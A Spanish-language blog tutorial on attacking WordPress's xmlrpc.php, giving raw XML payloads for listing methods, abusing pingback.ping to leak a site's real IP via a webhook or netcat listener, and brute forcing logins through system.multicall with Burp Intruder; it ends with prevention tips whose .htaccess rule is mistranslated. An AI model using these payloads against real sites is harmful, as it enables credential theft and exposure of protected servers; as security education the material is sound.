Articles

Explotación del xmlrpc.php

X

Privacidad &Cookies

Este sitio utiliza cookies. Al continuar, aceptas su uso. Más información, incluyendo cómo controlar las cookies.

¡Lo tengo!

Publicidad

¿Qué es XML-RPC?

XML-RPC es una API que transforma la información o los datos en un archivo XML y lo envía a la aplicación móvil o al software remoto. Esto se introdujo como en los viejos tiempos, la velocidad de Internet no es rápido, en lugar de escribir en línea. Los usuarios escriben sus contenidos fuera de línea y los publican todos juntos utilizando la API. A medida que los servicios de Internet mejoraron, la mayoría de nosotros no utiliza la característica más, a menudo fue olvidado por nosotros.

xml_for

¿Cuáles son las vulnerabilidades?

  1. Ataque de fuerza bruta. Las principales razones para realizar el ataque, es que esta API no tiene tope de intentos de login en el sitio. Puede que no consigan las credenciales correctas, pero aun así causan problemas como la sobrecarga del sitio. La disponibilidad del sitio se ve afectada.
  2. Interceptar/robar información de login. Falta de sistema de autenticación. Cada vez que el usuario intenta acceder al sitio web, las credenciales de inicio de sesión se envían dentro del formulario XML. Si la conexión es interceptada/ MITM, los datos XML claros son expuestos.
  3. XMLRPC pingback.ping. El atacante puede utilizar el método para recuperar la dirección pública real del sitio de WordPress.

⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️

Antes de comenzar a mostraros los pasos detallados para llevar a cabo los siguientes ataques. Cualquier acción ilegal que hayas realizado es por tu cuenta. No soy responsable de ninguna de sus acciones. Por favor, configura tu propio entorno para hacerlo o pide permiso antes de hacerlo.

⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️

Ataque a XMLRPC usando Burpsuite

Primero comprueba si XMLRPC.php es accesible en el sitio objetivo. En este caso, he configurado un sitio de WordPress de demostración para llevar a cabo el ataque.

checking

«El servidor XML-RPC sólo acepta peticiones POST»

Usando el método GET para recuperar el archivo, normalmente obtendremos este resultado.

A continuación, haremos un método POST para recuperar todos los métodos utilizables en el servidor XMLRPC.

POST /xmlrpc.php/ HTTP/1.1Host: 192.168.220.137Cache-Control: max-age=0Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Encoding: gzip, deflateAccept-Language: en-SG,en-US;q=0.9,en;q=0.8Connection: closeContent-Length: 137<?xml version="1.0" encoding="utf-8"?> <methodCall> <methodName>system.listMethods</methodName> <params></params> </methodCall>

methods

El servidor nos responderá con una lista de métodos que se pueden utilizar. En este caso, nos interesa especialmente el método pingback.ping. Una cosa a tener en cuenta es que, todos estos datos que entran y salen utilizan el formato XML como explicamos anteriormente. Por lo tanto, asegúrese de que el formato de datos es correcto.

Para llevar a cabo el ataque, tenemos que preparar estas 2 cosas primero

  1. Un webhook válido.site URL o cualquier otra alternativa que prefieras como beeceptor y postbin
  2. Una URL válida de un post de WordPress objetivo.

<?xml version=»1.0″ encoding=»UTF-8″?>
<methodCall>
<methodName>pingback.ping</methodName>
<params>
<param>
<value><string></string></value>
</param>
<param>
<value><string></string></value>
</param>
</params>
</methodCall>

webhook

result

A continuación se muestra un ejemplo más de este ataque realizado en este sitio de WordPress. SÍ. El que estáis viendo ahora mismo. Por curiosidad, quiero probar a atacar el sitio real en lugar del que tengo alojado.

own

Como pueden ver, este ataque no tiene éxito y no se muestra ningún resultado en el postbin. Parece que hicieron alguna precaución y prevención del sitio de WordPress en línea. ¡Este método es útil para el sitio de configuración de uno mismo y no desactivar xmlrpc.php

Si usted no desea utilizar POSTBIN, abrir NC y establecer en el modo de escucha funciona también! 👍👍

ncnc2

Ataque de fuerza bruta usando XMLRPC.php

Como se mencionó anteriormente, no hay límite de número de intentos. Conseguir una combinación exitosa de nombre de usuario y contraseña es sólo cuestión de tiempo. Y también, no hay ningún mecanismo como el bloqueo de la cuenta, después de cierto número de intentos.

<?xml version="1.0"?><methodCall><methodName>system.multicall</methodName><params><param><value><array><data><value><struct><member><name>methodName</name><value><string>wp.getUsersBlogs</string></value></member><member><name>params</name><value><array><data><value><array><data><value><string></string></value><value><string></string></value></data></array></value></data></array></value></member></struct></value></data></array></value></param></params></methodCall>

Para mostrar la diferencia entre el inicio de sesión con éxito y sin éxito, aquí es un ejemplo.

brute

Y, por supuesto, usted debe estar usando Intruder para realizar este tipo de ataques de fuerza bruta.

Primero, comprueba el objetivo del ataque, en mi caso utilizaré la dirección IP de mi sitio.

target

Necesitamos configurar las Posiciones de la carga útil y elegir ‘Bomba de racimo’ en la lista de Tipo de ataque. Buen recurso para leer sobre posiciones y tipos de ataque

postion

Aquí, necesitamos establecer 2 posiciones de carga útil, ‘username’ y password. A continuación, tenemos que establecer la lista de palabras. Esta es la documentación de los tipos de carga útil

usernamepassword

Haga clic en ‘Start attack’ cuando esté listo

success

Como podemos observar, uno de los Request tiene diferente longitud. Y cuando comprobamos los datos en bruto bajo la pestaña de respuesta, nos muestran que este conjunto de combinación ha entrado con éxito.

Prevención

  1. Instalar plugin para los perezosos
  2. Desactivar xmlrpc.php usando .htaccess

# Denegar a cualquiera el acceso al fichero
<Files xmlrpc.php>
ordenar deny,allow
deny from all
</Files>